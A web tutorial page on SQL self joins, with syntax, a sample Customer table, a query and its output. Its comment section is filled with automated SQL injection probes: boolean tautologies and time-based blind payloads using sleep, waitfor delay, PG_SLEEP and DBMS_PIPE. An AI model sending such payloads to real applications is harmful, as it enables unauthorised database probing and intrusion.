SQL Self Join

SQL Self Join is used to join a table with itself, calling it Unary relationships. Each row of the table is associated with itself and every other row in the table.



Self Join Syntax :

The syntax of the Self Join is −

SELECT column-name(s)
FROM table1 T1, table1 T2
WHERE condition;



SQL Self Join Example :

Consider the Customer table with the following records -

ID Name Age Address Salary
1 Ramesh 36 Udaipur 20000
2 Khilan 33 Mumbai 15000
3 kaushik 28 Chennai 20000
4 Chaitali 29 Udaipur 65000
5 Hardik 27 Mumbai 85000
6 Komal 33 Chennai 45000
7 Muffy 23 Delhi 100000


TEST CASE 1 :-Let us join these two tables using the Self JOIN as follows

SELECT  a.ID, b.Name, a.Salary
FROM Customer a, Customer b
WHERE a.Salary < b.Salary;


The result for the respective sql query is as follows −

ID Name Amount
2 Ramesh 15000
2 kaushik 15000
1 Chaitali 20000
2 Chaitali 15000
3 Chaitali 20000
6 Chaitali 45000
1 Hardik 20000
2 Hardik 15000
3 Hardik 20000
4 Hardik 65000
6 Hardik 45000
1 Komal 20000
2 Komal 15000
3 Komal 20000
1 Muffy 20000
2 Muffy 15000
3 Muffy 20000
4 Muffy 65000
5 Muffy 85000
6 Muffy 45000




Visit :


Discussion



* You must be logged in to add comment.

pHqghUme
555

pHqghUme
555

pHqghUme
555

pHqghUme
-1 OR 2+761-761-1=0+0+0+1 --

pHqghUme
-1 OR 3+761-761-1=0+0+0+1 --

pHqghUme
-1 OR 3*2<(0+5+761-761) --

pHqghUme
-1 OR 3*2>(0+5+761-761) --

pHqghUme
-1 OR 2+181-181-1=0+0+0+1

pHqghUme
-1 OR 3+181-181-1=0+0+0+1

pHqghUme
-1 OR 3*2<(0+5+181-181)

pHqghUme
-1 OR 3*2>(0+5+181-181)

pHqghUme
-1' OR 2+767-767-1=0+0+0+1 --

pHqghUme
-1' OR 3+767-767-1=0+0+0+1 --

pHqghUme
-1' OR 3*2<(0+5+767-767) --

pHqghUme
-1' OR 3*2>(0+5+767-767) --

pHqghUme
-1' OR 2+454-454-1=0+0+0+1 or 'AihnL1Y1'='

pHqghUme
-1' OR 3+454-454-1=0+0+0+1 or 'AihnL1Y1'='

pHqghUme
-1' OR 3*2<(0+5+454-454) or 'AihnL1Y1'='

pHqghUme
-1' OR 3*2>(0+5+454-454) or 'AihnL1Y1'='

pHqghUme
-1" OR 2+837-837-1=0+0+0+1 --

pHqghUme
-1" OR 3+837-837-1=0+0+0+1 --

pHqghUme
-1" OR 3*2<(0+5+837-837) --

pHqghUme
-1" OR 3*2>(0+5+837-837) --

pHqghUme
if(now()=sysdate(),sleep(15),0)

pHqghUme
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

pHqghUme
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

pHqghUme
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

pHqghUme
-1; waitfor delay '0:0:15' --

pHqghUme
-1); waitfor delay '0:0:15' --

pHqghUme
1 waitfor delay '0:0:15' --

pHqghUme
IaceCVpy'; waitfor delay '0:0:15' --

pHqghUme
-5 OR 20=(SELECT 20 FROM PG_SLEEP(15))--

pHqghUme
-5) OR 81=(SELECT 81 FROM PG_SLEEP(15))--

pHqghUme
-1)) OR 73=(SELECT 73 FROM PG_SLEEP(15))--

pHqghUme
665lBefL' OR 240=(SELECT 240 FROM PG_SLEEP(15))--

pHqghUme
g880tHAu') OR 978=(SELECT 978 FROM PG_SLEEP(15))--

pHqghUme
ORWzKets')) OR 443=(SELECT 443 FROM PG_SLEEP(15))--

pHqghUme
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

pHqghUme
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

pHqghUme
1'"

pHqghUme

pHqghUme
@@PmfNh

pHqghUme
555

pHqghUme
555

pHqghUme
555